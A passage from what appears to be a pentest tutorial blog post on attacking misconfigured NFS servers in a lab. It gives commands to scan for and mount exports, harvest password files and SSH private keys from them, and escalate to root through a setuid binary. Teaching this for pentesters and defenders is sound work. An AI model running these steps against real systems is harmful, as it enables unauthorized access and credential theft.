  2. User1 creates a file named “secret” that is only accessible to themselves and root using a command like “chmod 600 secret”.
  3. A read/write NFS export is then created on Server1 with no IP restrictions that maps to the directory containing user1’s secret file.
  4. On a separate Linux Client System, there is a user named “user2” that also has a UID of 1111.   When user2 mounts the NFS export hosted by Server1, they can read the secret file, because their UID matches the UID of the secret file’s owner (user1 on server1).

Below is an attempt at illustrating the scenario.

Nfs

Finding NFS Servers

NFS listens on UDP/TCP ports 111 and 2049.  Use common tools like nmap identify open NFS ports.

nmap -sS -pT:2049,111,U:2049,111 192.168.1.0/24 -oA nfs_scan
grep -i "open" nfs_scan.gnmap
Nfs

Use common tools like nmap or rpcinfo to determine the versions of NFS currently supported. This may be important later. We want to force the use of version 3 or below so we can list and impersonate the UID of the file owners. If root squashing is enabled that may be a requirement for file access.

Enumerate support NFS versions with Nmap:

nmap -sV -p111,2049 192.168.1.171

Enumerate support NFS versions with rpcinfo:

apt-get install nfs-client
rpcinfo -p 192.168.1.171
Nfs

Below is a short video that shows the NFS server discovery process.

Enumerating NFS Exports

Now we want to list the available NFS exports on the remote server using Metasploit or showmount.

Metasploit example:

root@kali:~# msfconsole
msf > use auxiliary/scanner/nfs/nfsmount
msf auxiliary(nfsmount) > set rhosts 192.168.1.171
msf auxiliary(nfsmount) > run
Nfs

Showmount example:

apt-get install samba
showmount -e 192.168.1.171
Nfs

Mounting NFS Exports

Now we want to mount the available NFS exports while running as root. Be sure to use the “-o vers=3” flag to ensure that you can view the UIDs of the file owners.  Below are some options for mounting the export.

mkdir demo
mount -o vers=3 192.168.1.171:/home demo
mount -o vers=3 192.168.1.222:/home demo -o nolock

or

mount -t nfs -o vers=3 192.168.1.171:/home demo

or

mount -t nfs4 -o proto=tcp,port=2049 192.168.1.171:/home demo
Nfs

Viewing UIDs of NFS Exported Directories and Files

If you have full access to everything then root squashing may not be enabled. However, if you get access denied messages, then you’ll have to impersonate the UID of the file owner and remount the NFS export to get access (not covered in this blog).

List UIDs using mounted drive:

ls -an
Nfs

List UIDs using nmap:

nmap --script=nfs-ls 192.168.1.171 -p 111
Nfs

Searching for Passwords and Private Keys (User Access)

Alrighty, let’s assume you were able to access the NFS with root or another user.  Now it’s time to try to find passwords and keys to access the remote server.  Private keys are typically found in /home/<user>/.ssh directories, but passwords are often all over the place.

Find files with “Password” in the name:

cd demo
find ./ -name "*password*"
cat ./test/password.txt
Nfs

Find private keys in .ssh directories:

mount 192.168.1.222:/ demo2/
cd demo2
find ./ -name "id_rsa"
cat ./root/.ssh/id_rsa
Nfs

Below is a short via showing the whole mounting and file searching process.

Targeting Setuid (Getting Root Access)

Now that we have an interactive shell as a least privilege user (test), there are lots of privilege escalation paths we could take, but let’s focus on setuid binaries for this round. Binaries can be configured with the setuid flag, which allows users to execute them as the binary’s owner.  Similarly, binaries configured with the setguid flag, which allow users to execute the flag binary as the group associated with the file.  This can be a good and bad thing for system administrators.

  • The Good news is that setuid binaries can be used to safely execute privileged commands such as passwd.
  • The Bad news is that setuid binaries can often be used for privilege escalation if they are owned by root and allow direct execution of arbitrary commands or indirect execution of arbitrary commands through plugins/modules.

Below are commands that can be used to search for setuid and setguid binaries.

Find Setuid Binaries

find / -perm -u=s -type f 2>/dev/null

Find Setguid Binaries

find / -perm -g=s -type f 2>/dev/null

Below is an example screenshot you might encounter during a pentest.

Nfs

Once again, the goal is usually to get the binary to execute arbitrary code as root for you. In real world scenarios you’ll likely have to do a little research or reversing of target setuid binaries in order to determine the best way to do that. In our case, the /home/test/exec binary allows us to directly execute OS commands as root. The source code for the example application can be found at https://github.com/nullbind/Other-Projects/blob/master/random/exec.c.

Below are the sample commands and a screenshot:

cd /home/test/
./exec
whoami
Nfs

As you can see from the image above, it was possible to execute arbitrary commands as root without too much effort. Below is a video showing the whole setuid exploitation process in action.

Wrap Up

This blog illustrated one way to obtain a root shell on a remote Linux system using a vulnerable NFS export and insecure setuid binary . While there are many ways to obtain the same end, I think the moral of the story is to make sure that all network share types are configured with least privilege to help prevent unauthorized access to data and systems. Hopefully this blog will be useful to new pentesters and defenders trying to better understand the potential impacts associated with insecurely configured NFS servers. Good luck and hack responsibly!

The post Linux Hacking Case Studies Part 2: NFS appeared first on NetSPI.

]]>